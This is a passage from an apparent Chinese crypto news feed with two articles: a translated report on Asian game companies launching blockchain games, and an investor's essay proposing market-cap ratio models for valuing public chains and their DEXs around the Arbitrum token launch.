万美元的情况下支付了超过 600 万美元。 在加密货币领域，一些叙事是长期性的（真实收益），而其他叙事只代表快速资本轮换（AI 币）。由于真实收益协议的成功以及对更可持续的 DeFi 的推动，我相信真实收益协议将会持续存在一段时间。  ( 5 min )
    链游报告：亚洲将会成为区块链游戏的引擎
    作者：Xangle、CoinMarketCap 翻译：Zen，PANews PANews获得独家授权并翻译 文章要点： 将其角色、道具等变成 NFT。 鉴于传统游戏厂商们将在今年发布一系列链游，这将加速区块链游戏的大规模采用，2023年或将实现区块链游戏的复兴。 亚洲，全球游戏领导者 一个巨大且快速增长的市场 亚洲拥有当今世界上最大的游戏市场，而且它仍充满增长潜力，前景广阔。根据市场研究机构Newzoo、IDC等统计，亚太地区在2022年拥有17.5亿游戏玩家，占全球总数的 55%；该地区移动游戏收入在2019年达到了720亿美元，占 2019 年全球年度游戏收入的 52%。该地区显著的人均 GDP 增长将加快提升其游戏消费能力，进一步拉高全球游戏市场份额。所有这些都解释了，亚洲为何被广泛认为是未来几十年推动全球游戏产业向前发展的驱动力。 三个东亚国家引领游戏行业 亚洲游戏市场由中国、日本和韩国这三个东亚国家主导。全球市值前100的游戏公司中，有62家来自这三个国家。在中国，游戏行业由腾讯等大型游戏公司主导；在韩国和日本，游戏行业由游戏开发商和发行商主导。目前除了在禁止加密货币的中国，其他地区的游戏公司都对区块链技术饶有兴致，多数都已在进行区块链游戏项目的开发。下文将解释每个游戏公司都是如何将区块链技术应用到他们的游戏IP中。 硬件一直是进步的核心。日韩这两个亚洲游戏市场的领导者，在上世纪80年代最初播下了孵化街机游戏新产业的种子。后来，他们在新千禧年代的 PC端游、主机游戏以及2010年后的手机游戏中蓬勃发展，最终成为当今世界上最大的游戏市场。近些年，东南亚市场也开始加入其中，在这一部分市场里，容易上手的手机游戏往往比PC 游戏更受欢迎。 亚洲市场更青睐RPG游戏（Role Playing Games），而美国市场则以策略和动作类游戏为主。与策略、动作类游戏相比，RPG 更适合采用区块链技术，这也是亚洲在增长和创新方面推动区块链游戏市场的原因。 区块链游戏在亚洲蓬勃发展的原因 最适合区块链的游戏类型是RPG（角色扮演游戏）和休闲游戏，前者能够理解并体现所有权的价值，后者因“轻量”的特点，可完全在区块链上运行。 与用户单方面消费公司提供的内容的其他游戏类型不同，MMORPG （大型多人在线角色扮演游戏）是用户通过在虚拟世界中与大量其他玩家一起玩与互动来扩展和完成内容的游戏，用户在游戏中创建角色，可获得并拥有虚拟物品。相应的，整个区块链概念的核心正是实现数字资产的所有权，其NFT技术在游戏中的应用能让用户实现其资产、物品和角色的转移，从而使所有权得到充分承认。在此背景下，区块链技术和 Web3 哲学也适用于游戏内奖励系统，并可按比例补偿玩家对生态系统的贡献。 以Kakao Games的 MMORPG《ArcheWorld》为例，该游戏使用了区块链技术，NFT的应用使得用户能够真正拥有资产、物品和角色。用户通过住房、耕种和交易生产内容，与其他用户互动，并获得扩展游戏的奖励。这表明该游戏将用户视为生态系统的贡献者或组成部分，应获得公平的奖励份额，而不仅仅是消费者。通过这种方式，《ArcheWorld》意在寻求促进生态系统发展的参与方式并改善游戏体验。 休闲类游戏拥有会话时间短、操作简单的特点，例如最突出的 Candy Crush 和 Anipang。由于整体硬件规格相对较低，亚洲历来更偏爱休闲游戏。Hero Blaze: Three Kingdoms 是 2021 年围绕 P2E 概念并在韩国以外走红的游戏，也是一款休闲 RPG 游戏。目前区块链的可扩展性仍然存在问题，L1 和 L2 区块链的可扩展性水平无法处理大型游戏数千万笔交易，但已能满足相对低规格的休闲类游戏需求。与其他类型相比，设计简单的休闲游戏需要的交易相对较少，并且可以上链。 休闲游戏收入中广告收入占据高比例的特点也与区块链相契合。在游戏应用启动或游戏过程中，广告通常以横幅的形式在屏幕顶部或底部出现。RPG游戏意图让玩家在游戏内进行消费支出，而休闲游戏则试图吸引尽可能多的用户，让他们接触广告并向广告商收取费用——因此，游戏的次数越多，广告收入就越高。Axie Infinity、Hero Blaze：Three Kingdoms 和 MIR4 Global 展示了应用内广告和区块链游戏的结合，这些游戏可以快速在亚洲建立重要的用户群，从而产生强大的协同效应。 传统游戏行业进军链游市场的出发点 从更实际的意义上讲，上述游戏公司进入区块链游戏市场主要有两个原因，即确保新的增长引擎和通过代币筹集资金。对于需要确保新增长引擎的中小型游戏公司而言，它们不像已建立起品牌的大游戏公司那样，通过其独特和成熟的IP就可获得稳步上升的营收，因而进入区块链游戏的新兴市场将是一个极具吸引力的选择。此外，对于这些中小型公司而言，将区块链元素注入其现有 IP 的成本远低于制作 AAA 级游戏，后者需要花费大量资源、时间和高达 1 亿美元以上的成本。 即使从筹集新资金的角度来看，区块链游戏也可以作为一种替代方式，为过去将股票 IPO 作为其第一筹资来源的 Web2 游戏公司吸引额外资金。游戏公司已在通过直接在公开市场上出售其代币或在代币发布前吸引私人投资来筹集资金，如Wemade、Com2uS 和 Neowiz，他们通过其代币分别筹集了 2.5 亿美元、2500 万美元和 1200 万美元，筹集的资金可用于建立区块链开发人员团队、构建他们的layer1区块链以及保护新内容 IP。 链游战略一：构建完整的区块链生态系统 MIR4 Global 发现区块链游戏的可能性 虽然很多P2E项目在经历短暂的生命周期后就夭折了，但它们成功吸引了海量用户，展示了区块链游戏的潜力。这足以吸引各种公司开始构建具有区块链元素的游戏，主要由需要新增长引擎以摆脱发展停滞的中小型 Web2 游戏公司领导，韩国的 Wemade就是一个主要例子。2021年第3季度，Wemade基于现有IP “MIR”系列推出了一款具有P2E元素的新游戏《MIR4 Global》，使得Wemade第四季度的销售额环比增长近两倍。它成为推动其他 Web2 游戏公司（如 Netmarble、Com2uS 和 Neowiz）进入区块链游戏行业的成功案例。 Wemade成立于 2000 年，是一家韩国游戏公司，市值 20 亿美元，拥有热门游戏 IP“热血传奇”。WeMade 从 2015 年到 2020 年平均年收入达到 1 亿美元。2021 年，由于其基于区块链项目“Wemix”的区块链游戏“Mir 4 Global”的成功，使得公司收入大幅增长至 3 亿美元。与Axie Infinity类似，《Mir 4 Global》具有很强的P2E特性，在菲律宾、泰国等亚洲国家获得了用户的喜爱。该游戏创下了 140 万的并发用户数和 620 万月活跃用户的记录，为 WeMade 的增长做出了贡献。 Mir4 Global 的成功可归因于以下几个因素： 通过使用“热血传奇”IP，与现有的 Web3 原生区块链游戏相比，Mir4 Global 能够提供具有竞争元素的游戏，例如故事情节和图像。在加密牛市期间发布游戏也为 Mir4 Global 和 Wemix 提供了有利的环境，导致代币价格上涨，P2E 利润增加，用户更多，最终代币价格呈现上涨的正循环。此外，利用 Klaytn 的侧链允许用户以较低的费用使用区块链基础设施，Wemix 能够避免 Axie 过去经历的高额Gas费用。 与 Axie Infinity 等其他 P2E 游戏类似，随着其治理代币 WEMIX 的价格见顶并开始回落，Mir4 Global 的游戏周期开始下降。作为回应，WeMade 将其战略从单纯的 dApp 游戏开发商转变为推出自己的名为“WEMIX Chain”的第 1 层区块链，该区块链从以太坊分叉出来并构建了一个完整的区块链生态系统。该公司现在计划将其其他主要游戏 IP，如“AniPang”、“Mir M”和“Icarus M”加入“WEMIX Chain”，创建 WEMIX 区块链生态系统，而不是在 Klaytn 上以侧链形式开发区块链游戏。 WeMade 推出自己的链有几个原因，但最重要的是最大化跨区块链产生的附加值。在使用 Klaytn L1 基础设施时，必须向 Klaytn 支付区块链费用，并且必须将代币交易所等交易产生的收入支付给其他 DEX 和 NFT 市场。但是，随着“WEMIX Chain”（Layer 1）、“Wemix Play”（游戏平台）、“Wemix.Fi”（DeFi服务）和“Wemix Dollar”（稳定币）的推出，Wemix现在可以直接运营和扩展其整个区块链生态系统。 WeMix Play 目前提供 23 款游戏，包括基于《热血传奇》的 Mir 4 Global 和 Mir M。这些游戏目前分别拥有 30 万和 15 万并发用户，与 Web3 原生游戏相比是一个可观的数字。虽然目前加上计划发布的游戏数量才共有 34 款，与最初的 100 款上线目标相去甚远，但 WeMix 正准备发布来自 Web2 的热门 IP，例如《Anipang》《Mu Legends》和《Icarus M》。这些游戏的发布有望进一步巩固 WeMix 作为区块链游戏平台的地位。 Netmarble将区块链技术融入其核心IP Netmarble 是一家大型韩国游戏公司，成立于 2000 年，市值为40亿美元。公司拥有《Seven Knights》《Let’s Get Rich》等热门游戏IP。作为其新增长战略的一部分，Netmarble选择了区块链作为新的增长引擎，通过基于Klaytn（即将扩展到以BNB链为首的多链）GameFi为导向的平台，以双轨方式进入区块链市场Marblex 和基于 BSC 的娱乐导向平台 FNCY。Marblex 在 2022 年推出了三款区块链游戏，创造了 1300 万用户和 2250 万游戏下载量的惊人记录。该平台将在 2023 年实现又一次飞跃，推出一款利用其核心 IP“Let's Get Rich”的游戏。 2022年，Netmarble推出了三款利用其IP的区块链游戏，分别是《A3：Still Alive》，《Ni no Kuni：Cross Worlds》和《King of Fighters：Arena》。“A3”是一款 MMORPG游戏，在采用区块链技术后，收入增长了 7 倍，DAU 增长了 6 倍，留存率增长了 2 倍以上。这是通过为用户提供激励以及通过游戏来挖掘 MBX 代币来实现的，是只有区块链游戏才能提供的独特功能。 另一款大型多人在线角色扮演游戏“Ni no Kuni”是去年最赚钱的移动区块链游戏，超过“Mir4 Global”，在包括美国在内的 27 个国家/地区的两个应用市场中均进入前 10 名。该游戏的30天留存率呈现提升(+4%)，并保持着稳定的代币价格，与开采的游戏代币数量相比，游戏内销毁率为 95%。可持续的代币经济学问题已被确定为第一代区块链游戏发展的制约因素，而“Ni no Kuni”通过将坚实的游戏内容与只能在区块链游戏中实现的代币池相结合，提供了解决方案，展示了区块链游戏的潜在可持续性。 Netmarble 计划于今年第二季度推出《Meta World: My City》，该游戏采用了全球累计下载量达 1.5 亿的“Let's Get Rich”IP。其将棋盘游戏与房地产元宇宙相结合，玩家可以将土地和建筑物作为 NFT 进行交易，并通过房地产投资以游戏代币的形式获得收益，类似于韩国人气手游《Blue Marble》。区别于现有的 Web3 房地产游戏仅允许用户购买房地产，“Meta World”基于已建立全球知名度的 IP，并且提供独特的内容，有望获得成功。 当其他一些大型游戏公司因担心损害其 IP 而对整合区块链技术犹豫不决时，Netmarble 通过利用其核心 IP 走了一条不同的路线，并在去年发布的三款区块链游戏中取得了不错的成绩。Netmarble 打算通过发行第三方游戏来扩大其作为区块链游戏发行商的影响力，鉴于 Netmarble强大的发行能力，人们对其这方面的业务寄予很高的期望。Netmarble通过大胆尝试和反复试验，开发出自己的区块链游戏设计诀窍和成功公式，将其定位为区块链游戏市场的潜在领先公司。 XPLA 是一个使用CosmosSDK区块链，由韩国中型游戏公司 Com2uS 开发的游戏平台。Com2uS 成立于 2007 年，是一家主要开发休闲手游的公司，随着 2010 年代智能手机的出现，手游行业大幅增长，它成长为一家中型游戏公司。尤其是Com2uS于 2014 年发布的手游IP《Summoner's War》在全球范围内大受欢迎，将公司的销售额提升至 5 亿美元，市值提升至 10 亿美元。 鉴于 Com2us 在游戏行业发生向移动设备的关键转变时保持领先地位的出色业绩，该公司似乎已经在当前向区块链和 Web3 的过渡中发现了机会。在区块链的众多元素中，Com2us 一直专注于将“所有权”转移给用户。从这个意义上说，其区块链整合的首选游戏类型是用户能在游戏中保有资产的RPG游戏，以及游戏经济相对容易建立的休闲游戏。 Com2us 的 Web3 战略可以分为两部分：一是推动基于 Cosmos 的 Layer 1 生态系统的增长，以及将自己的内容纳入 XPLA。尽管在去年 Terra 和 FTX 垮台后，该战略的前一部分在总体路线图时间表上有所延迟，但预计开发人员的基础设施（例如 EVM 兼容性、Solidity-CosmWasm 集成和 Layer2 解决方案开发）将于今年年底完成。 至于后半部分的策略，今年上线XPLA的dApp阵容已经在一定程度上被勾勒出来。Com2us计划于今年第三季度推出Chronicle的区块链版本，该游戏属于过去八年累计收入达30 亿美元的《Summoner's War》的 IP 之一，以及还将在今年上半年上线《Minigame Heaven》等三四款休闲游戏。这使我们相信，在内容严重短缺的 Cosmos 生态系统中，XPLA将有可能成为杀手级游戏内容平台。尤其考虑到为了在日益激烈的 Layer 1 竞争中生存下来，该公司计划最大化自己的 IP 内容，并正在为外部 dApp 载入所需的基础设施制定路线图，例如，XATP 引入、增强的 EVM 兼容性、IPFS存储节点，Layer2支持等。 不过，在以太坊 L2 已成为主流开发选择的情况下，选择 Cosmos 生态系统仍是一个挑战。Cosmos 生态系统可能需要比以太坊生态系统更多的基础设施开发，从而构成资源池碎片化的风险。不过，XPLA可能很难满足希望在本机rollup或链上开发服务的开发人员的需求，这进一步增加了维护基础设施的成本。此外，区块链技术的采用仍缺乏切实成果，这会是游戏开发商今年在网络上启动项目时所面临的一项艰巨任务。 在大中型游戏公司大力引领韩国区块链游戏生态系统形成的同时，大型 Web2 游戏公司对区块链技术的整合采取了更加谨慎的态度。有人指出，这种沉默归结于：与大型游戏公司的销售额相比，区块链市场的规模要小得以及游戏厂商的核心IP可能因区块链战略而受到损害。 去年夏天，在 Xangle Adoption 会议的第一场会议上，Nexon 首席运营官 Kang Dae-hyun 在演讲中将 Nexon 描述为“一家让不可持续的游戏可持续发展的公司”。事实上，Nexon 的游戏 IP《Dungeon & Fighter》 和 《MapleStory》分别有 17 年和 20 年的历史，这两个IP收入占公司年收入 30 亿美元的近一半，并仍在稳步增长。Nexon显然是一家专注于创造可持续且长期存在的游戏的重量级游戏公司。 Nexon 的区块链战略是尝试将区块链技术整合到服务中，但不会对整个企业产生影响。公司将测试这是否会增加用户数量或延长游戏寿命。特别是 Nexon计划推出的带有区块链元素的《MapleStory N World》，是一个以“让成功的游戏更具可持续性”为明确目标的项目。为此，该公司决定放弃它曾经试图控制的领域。最值得注意的是，其计划将“任务”等各种游戏元素去中心化，以建立一个游戏创作者生态系统，并使用户能够在区块链生态系统中玩原生的内容。 区块链技术（特别是 NFT）和代币经济学将被用作支持这种自我维持生态系统形成的手段。据报道，MapleStory N 计划在 2023 年的某个时候推出。如果 MapleStory 采用区块链在游戏中成功推动了创建一个创作者生态系统，从而增加游戏的生命周期和收入，那么对于那些在是否采用区块链的问题上而犹豫不决的游戏公司来说，这将起到引导作用。 Kakao Games：在区块链游戏平台BORA融入新IP Kakao Games 是韩国科技巨头 Kakao 旗下市值为30亿的游戏部门，其最初通过利用Kakao的移动消息应用程序 KakaoTalk （市场份额达到 95%）作为平台，并通过以流行的 Kakao Friends 角色为卖点的休闲手机游戏，实现了高销量增长。如今，Kakao Games已成功扩展到多种类型，例如 MMORPG 和模拟游戏，年收入达 9 亿美元。 作为其新业务组合的一部分，Kakao Games 运营基于跨链的区块链游戏平台 BORA。2022年，BORA分别以《ArcheAge》和Kakao Friends的IP为主题，推出MMORPG《ArcheWorld》和休闲体育游戏《Birdie Shot》。在测试了区块链技术在两种截然不同的游戏类型中的应用后，BORA得出结论，游戏经济相对容易设计和修改的休闲游戏与区块链具有更好的协同作用。从 2023 年第二季度推出超休闲游戏开始，BORA 将在 2023 年第二季度至 2024 年第一季度推出各种类型的休闲游戏，包括益智、体育和社交赌场游戏。 对于 Kakao Games来说，2023 年将是在休闲游戏中引入和测试各种代币经济学以最终确定成功的代币经济学模型的一年。Kakao Games只有找到自己的出路，证明一个可持续的模式，才能更积极、大胆地将区块链应用到旗下的大IP中。 Square Enix 是一家领先的日本游戏公司，其核心 IP 最突出的包括《Final Fantasy》（最终幻想）和《Dragon Quest》（勇者斗恶龙）。与过去该公司利用其核心 IP 生产主机游戏系列不同，它已成功转型至移动端，其移动游戏收入现已占游戏总收入的一半即是证明。在成功转向移动端之后，Square Enix 最近提出将区块链游戏作为中长期增长战略。在 2023 年的新年致辞中，Square Enix 首席执行官松田洋介（Yosuke Matsuda）强调了区块链游戏的增长潜力——脱离了游戏公司单方面提供游戏的动力，并促进了游戏内用户驱动的增长。 目前正在开发中的《Symbiogenesis》体现了这一愿景，其有望成为Square Enix 推出的首款全新区块链游戏。目前透露细节仍然很少，只知道Symbiogenesis 将在 Polygon 区块链上启动，以及其将是一款基于 10,000 个 NFT 并拥有自己宇宙的 NFT 游戏。尽管区块链在其旗舰 IP“最终幻想”和“勇者斗恶龙”中的部署尚未敲定，但新年消息似乎预示着可能会从《Symbiogenesis》开始开发和发行更多区块链游戏。 在全球 100 强游戏公司中，约 70% 位于亚洲。我们调查了这些公司，以分析他们的区块链采用计划。结果表明，韩国游戏公司处于开发区块链游戏的最前沿。（请参阅下表。） 日本的游戏公司虽然起步较晚，但他们拥抱区块链技术的立场与韩国公司并无太大区别。虽然没有游戏公司专门从事区块链Layer 1 业务，但日本游戏行业的许多主要品牌，包括世嘉(SEGA)和万代南梦宫(Bandai Namco)，都通过作为游戏公链Oasys的验证者间接参与了 Layer 1 业务。万代南梦宫还宣布计划通过投资区块链初创公司将其独特的 IP 与其粉丝联系起来。作为这一规划的第一步，万代南梦宫投资了区块链游戏开发商 Gangbusters Ltd.。 事实上，与大型游戏公司的年收入相比，区块链游戏市场产生的收入微不足道。据 Newzoo 称，2021 年全球游戏市场达到 1750 亿美元。领先的游戏制造商，如任天堂（149 亿美元）、动视暴雪（88 亿美元）、美国艺电（56 亿美元）和 Nexon（25 亿美元），都在新冠疫情期间创下了历史新高的业绩。相比之下，区块链市场产生的收入微不足道。几乎代表整个区块链游戏市场的游戏《Axie Infinity》2021 年和 2022 年的累计销售额不足 13 亿美元，如今其月收入更跌至约 100 万美元。同样，Wemade的MIR4 Global同期累计销售额也仅为1.4亿美元，与通常在大型游戏公司看到的销售额相比并不可观。总而言之，区块链游戏市场太小，无法引起传统 Web2 游戏公司的注意。 大型游戏公司的另一个考虑因素是区块链和代币经济学的整合可能对其有价值的 IP 产生潜在的负面影响，这些游戏 IP 通常是他们的主要收入来源，并且作为长期摇钱树，在很长一段时间内持续产生可观的利润。在见证了 Axie Infinity 和 STEPN 等极其短暂的 P2E 游戏案例后，将 P2E 元素引入他们现有的游戏并不是一件容易的事。例如，Krafton 是一家市值 70 亿美元的韩国游戏公司，其大部分销售额严重依赖于其热门射击游戏《 PUBG：BATTLEGROUNDS》，据了解该公司目前就并无将区块链技术融入该IP的计划。 即便如此，仍有一些大型 Web2 游戏制造商谨慎地寻求引入区块链以克服这些不利因素。在日本上市的韩国游戏公司 Nexon 计划通过将 NFT 等区块链元素应用于其占 Nexon 收入约 25% 的“MapleStory” IP 来发布 《MapleStory N》。韩国的NCSOFT也计划通过在其代表游戏《Lineage》（天堂）的IP中注入区块链元素，进军北美和欧洲市场。这些公司的一个共同点是，他们的战略均是通过在规模不足以产生任何公司范围影响的服务上试水，来验证区块链技术应用的可行性，他们将对引入的元素是否会导致用户数量或游戏寿命增加进行测试。 其中，Nexon 的 MapleStory N 是备受期待的 IP 之一，因为它是一个植根于“让成功的游戏更具可持续性”的项目。Nexon 表示，它正在引入区块链，让这款已经问世二十余年的游戏成为一款更加持久的游戏。它将其 Web3 元素定义为 MapleStory IP 的去中心化，以启用和支持生态系统中用户自愿生成的各种社区来驱动游戏，而区块链技术（包括 NFT）和代币经济学将被用作支持它们的手段。假设将区块链引入游戏将有助于构建创作者的生态系统，最终导致游戏寿命和销量的增加，在这种情况下，对于那些不愿在游戏中采用区块链的游戏公司来说，可能将吹起一股变革之风。 2023年，区块链游戏行业预计将更加强劲，Web2行业将发布更多的Web3游戏，首先是Wemade在2023年1月发布的MIR M。Netmarble的《Meta World》和Com2uS的《Summoners War》计划分别在2023年第二季度和第三季度发行，而Nexon的《MapleStory N》和Square Enix的《Symbiogenesis》预计将在今年内推出。区块链游戏将把游戏质量提升到一个新的水平，与之前发布的不完全成功的P2E游戏相比，有可能推动Web3游戏的大规模采用。 亚洲的许多游戏开发商正在开发区块链游戏，他们采用了不同的策略和方法。他们看到了游戏和区块链技术之间的潜在协同作用，区块链技术让用户拥有自己的数据，并允许他们进行交易。另一个可能的机会因素是，迅速崛起并具有竞争力的中国游戏企业由于相关规定而无法进入区块链市场。尽管自2022年上半年STEPN推出以来，区块链游戏行业在大规模采用方面相对缓慢，但我们希望拥有开发能力和资源的传统Web2游戏公司推出区块链游戏，将在加密行业带来协同效应。  ( 8 min )
    Arbitrum代币发行前夕，深入探讨顶流公链及其生态估值模型
    原文：《关于顶流公链及其生态估值模型的探讨性分析》 作者：Pima，Continue Capital 大热的 ARB 马上上线，这次市场终于回归理性，看了眼大概各种估值模型，基本挺合理，100-200 亿中枢，差距不大，可参考其他数据（TVL/钱包数/转账/活跃地址等等）。目前市场对公链估值相对稳定了，对未来技术衍化的差异认知，决定了以后公链的上升空间，是难度系数比较大的 alpha。更多的是，我们投资一定要明白什么是常态，就像一个人生病，你不一定知道病的名字，但是你一定能感受到你的一些日常举止与正常人不同之处，比如正常人一天一次大便，你却三四次，正常人一睡到天亮你却每天凌晨 1 点到 3 点醒一次，你不知道哪里出问题了，但是你要明白你这不是正常的状态。 回到投资上，你也一定要明白一些估值常态，比如以 BNB 为代表的 CEX 长期二级估值中枢就是 PE=5。可以去看下每个季度币安财务报告，其他 HT/FTX 都可以追溯查询下，牛市熊市都有数据，中位数基本就是 5 左右，有时候 PE 到 3 或者牛市 PE 到 10，都是正常区间，但是这里面你要明白行业认知参数的重要意义。所谓行业认知参数，就是一个细分市场在发展初期大部分人都不太懂，但给人描绘的前景是充满希望的，这时候往往鱼龙混杂，群雄逐鹿，典型特征是你不知道谁是龙头，行业增速非常快，给予的 PE 就会很高；随着市值快速增长，行业认知的提高，渗透率达到 30% 临界点后，增速开始放缓，估值就会逐步稳定下来，PE 就会回到中枢线，价值挖掘完成，行业进入成熟发展期，靠利润推动市值而不是估值推动。（现在的 L2/ZK 就是典型的行业发展初期阶段） 对待公链，经历了这么多年的发展，很多数据估值模型也基本趋于稳定，此文目的在于从另外一个角度进行公链及生态估值体系的探讨。 假设我们定义，除 ETH 之外其他同时期顶级公链 Public Chain Market Cap 为 PMC，定义 Ethereum Market Cap 为 EMC，定义 PE=PMC/EMC 目前常态化平稳市场顶级公链市值：ADA 120 亿，MATIC 110 亿，SOL 80 亿；分母端 ETH 2100 亿 我们选取过往一定时期最顶级公链市值高低情况（粗略数据） 我们来看不同时期 PE=PMC/EMC 市值对比情况： 目前常态化市场：ADA 120/2100=5.7%，MATIC 110/2100=5.2%，SOL 80/2100=3.8% 在此并不是比较每个公链与 ETH 市值比例，而是选择某一阶段非 ETH 智能合约中市值最大的一个（ADA，EOS，SOL）做比较，由此我们给出如下结论 上述定律一，有什么用呢？ 我们这里的统计，是按照 Market Cap 流通市值，并不是全流通 FDV，上两轮牛市期间项目机构投资相对较少，不像目前大部分项目都是流通比例较少，个人认为定律一更大的作用是在新项目上市之初，给予你一个估值中枢，即我们用新项目 FDV/ETH 市值，来衡量估值高低。 我们复盘来看：22.10.23 日，APT 上市之初，FDV 100 亿，同期 ETH 1600 亿 PE=100/1600=16% APT 最低点 3 美金时，PE=30/1400=2.1%；2023.01.26 日，APT FDV 200 亿，同期 ETH 2000 亿，PE=200/2000=10%，目前 APT PE=130/2100=6.2% OP，2022.06.02，FDV 64 亿，同期 ETH 2100 亿，PE=64/2100=3%，2022.06.19，OP FDV 18 亿，ETH 1200 亿，PE=1.5%，目前 OP 110 亿，PE=5.2% 那我们现在大概有个中枢概念，ARB 假设按照 100/200/300 亿 FDV 上市，PE 分别为 4.7%，9.5%，14.2%，不同价格对应定律一中的高区间还是低区间，一目了然。在高区间，适合把分子端公链换成分母 ETH。 需要注意到是，定律一的适用条件是，一定是非 ETH 中你认为顶级的公链，不能阿猫阿狗都拿来放到这个区间，很多公链接不要说 6%，可能 1%ETH 市值都不到，那问题成了哪个是顶级公链呢？这实质是个买入问题，对不起仁者见仁鲁迅没说，但是定律一可以提供大约的卖点：即越接近 20% 占比上限，越可以卖掉换 ETH。需要注意区分的是，这个卖点不是绝对单价卖点，比如你 APT 10 块卖掉了，结果 25 年又涨到 100 块了，不能这样对比，而是 25 年的时候说不定 ETH 都 1W 块了，PE=1000 亿/12000 亿=8.3%，定律一本质是衡量顶级公链与 ETH 的增速问题。 定律一长期看会不会打破呢？比如十年周期？非常有可能。从历史发展轨迹来看，任何一个事物在任何一个完全竞争市场，很难一家独大，当一个龙头占据 70% 的市场占有率，该龙头的市场占有率一定是顶部阶段。万事万物的发展不可能存在一家独大，有了荷法英美苏，任何一个国家在统治阶段，一定有老二来抗衡，同理，我们股市中耳熟能祥的芯片市场/电商市场/新能源市场/地产市场/等等很多赛道，老大老二市场占有率都有个比例（不管是 4:3；4:2，3:2，5:2），包括目前币圈市场，BTC 占比 43%，老二 ETH 占比 18%，因此智能合约市场长期看一定会有项目挑战 ETH 40% 甚至 50% 市值占比的项目，也就是定律一的上限 20% 被突破，但是这里面有个时间问题，ETH 达成稳定在 BTC 市值 50% 这一壮举，用了近乎十年。下一个站稳 ETH 市值的 50% 的项目，可能也需要在层出不穷的变化之中保持长期的竞争力才有可能达成，难度系数很高；另一方面 ETH 也是在不断动态发展的，也就是说将来 ETH 市值也会不断变大，要达到其市值的 50% 可能对于挑战者的绝对市值要求会很高，这又进一步增加了竞争的难度。 假设我们定义各生态头部 DEX Fully Diluted Valuation 为 DFDV，公链 Public Chain Fully Diluted Valuation 为 PFDV，那么 DP=DFDV/PFDV，也即 DEX 全市值/公链全市值。 公链生态五花八门种类繁多，我们首先还是抓最核心部分，目前任何一个公链生态发展都离不开 DEX，DEX 市值可以作为每个公链生态的价值中枢，从而作为衡量其他类别项目估值的参照物。 首先我们还是要明白什么是常态，目前的常态市值（3.20 日 FDV）： 其次我们看下在 DeFi 作为崭新赛道环境下，且全市场处于牛市中时，市场给予 DEX 的估值： UNI，高点 40，对应 FDV 400 亿，同期 ETH 市值 4000 亿，DP=400/4000=10% SOL 生态中 DEX ORCA 在 21 年 10 月和 11 月两次达到 18 亿 FDV，同期 SOL FDV 分别为 950 亿和 1250 亿，两次 DP 对应分别为 1.9% 和 1.4% AVAX 生态中 DEX JOE 在 21 年 9 月和 11 月分别触及 22 亿 FDV，同期 AVAX FDV 分别为 540 亿和 960 亿，两次 DP 对应分别为 4% 和 2.2% 我们看到作为 DeFi 行业的最典型项目 UNI，在享受独家垄断溢价以及整个 DeFi 赛道发展初期阶段给予高估值的前提下，DP 最高为 10%，因此，常规性 DEX 很难再达到此估值。另外我们看到 UNI/ETH 的单价 k 线图，长期在 0.002-0.006 的区间范围，考虑到两者数量差异，对应的 UNI 流通市值/ETH 市值大概落在 2%-6% 区间，考虑到 UNI 目前的垄断地位和正统性溢价特殊性，个人仍然认为常规 DEX 在各自公链生态中 DP 常态化上限在 3%。 我们不否认短期情绪/资金/流通性等因子会影响 DP 变化，但是仍然认为长期化常态化才是估值之锚，才能成为价值回归中枢。另一方面，我们在此考察的仅仅是常规 DEX，并不包含全链 DEX，个人认为全链 DEX 会成为 DeFi 皇冠上的明珠，是最后的突破口（全链 DEX 具备的功能是不通过跨链桥，做到 EVM 与非 EVM 资产交互）后面有机会再对此详细展开。 其一，对于低估区间。我们知道一定会有一条 DEX 与其公链市值相匹配，比如，Velo 目前 1.5 亿，OP 110 亿，DP=1.5/110=1.3%，只能说合理。同理在未上线的 zkSync/Starkware 等项目 一定也存在一个 DEX，未来要达到 zkSync/Starkware 市值的 1%-3%。这两者主网虽并未上线，你却能大概按照定律一的下限给出一定的估值比如 80 亿，那么对应的 DEX FDV 大概就是 8000-2.4 亿，至于是哪个 DEX，这就需要深耕社区，不断观察其数据/用户/开发能力等常规因素来做选择，这里面的关键 zkSync/Starkware 没发币，但是其生态的 DEX 可能早已发币，就是说你有了提前参与的窗口，剩下的只需要耐心； 再比如 APT 已经发币，但是其生态 DEX 我也不知道哪个能跑出来，但是值得你在 DEX FDV 在 500-1000w 甚至更低的时候适当参与进去，因为按照定律二，会有一个 APT 上的 DEX 达到其市值的 1%-3%。 其二，对于高估区间。同样可以参照其定律二的范围区间上限，超出越多越适合兑换成分母公链。 ARB 生态上一个 DEX ZyberSwap，高点 FDV 在 4 亿，常规 DEX 基本上都是微创新，没有什么太大区别，流动性挖矿/ve/（3，3）模式等具体差异和细节都不太关注。短期流动盘较少+tvl 快速增加+空投预期+短期情绪资金高涨等等促成了一波上涨，但这不重要，核心是估值 4 亿了，意味着假如 ARB 是 100 亿，则 DP=4/100=4%，假如 ARB=200 亿，则 DP=2%，常规 DEX 长期要面临层出不穷的其他竞品的进攻，护城河很难建立，因此越接近定律二 3% 的上限，越适合换成 ARB 同样的例子，还是 ARB 上的 DEX Camelot，我们发现估值也是 4.3 亿，同样的假设 ARB FDV 100 亿和 200 亿，则 Camelot 的 DP 分别为 4.3% 和 2.15%，也是位于公链生态估值定律二的上半区，同样也是谨慎。 当我们对生态 DEX 有了估值中枢体系之后，由 DEX 延伸到公链生态其他赛道就有了合适的参照性，就像有了一杆秤砣，能称量大部分项目到底几斤几两。 至此我们通过对部分数据的筛选适当总结了公链及其生态的估值模型，意图寻找更普适性规律，寻找钟摆的平衡点。当然我相信可以从 DEX 衍生到借贷/合约/NFT/游戏等各个赛道，本人未做进一步研究，在此抛砖引玉，感兴趣的可对参数模型更改以便继续探索。  ( 7 min )
    大厂逐梦AI之际，日产汽车“逆势”布局元宇宙
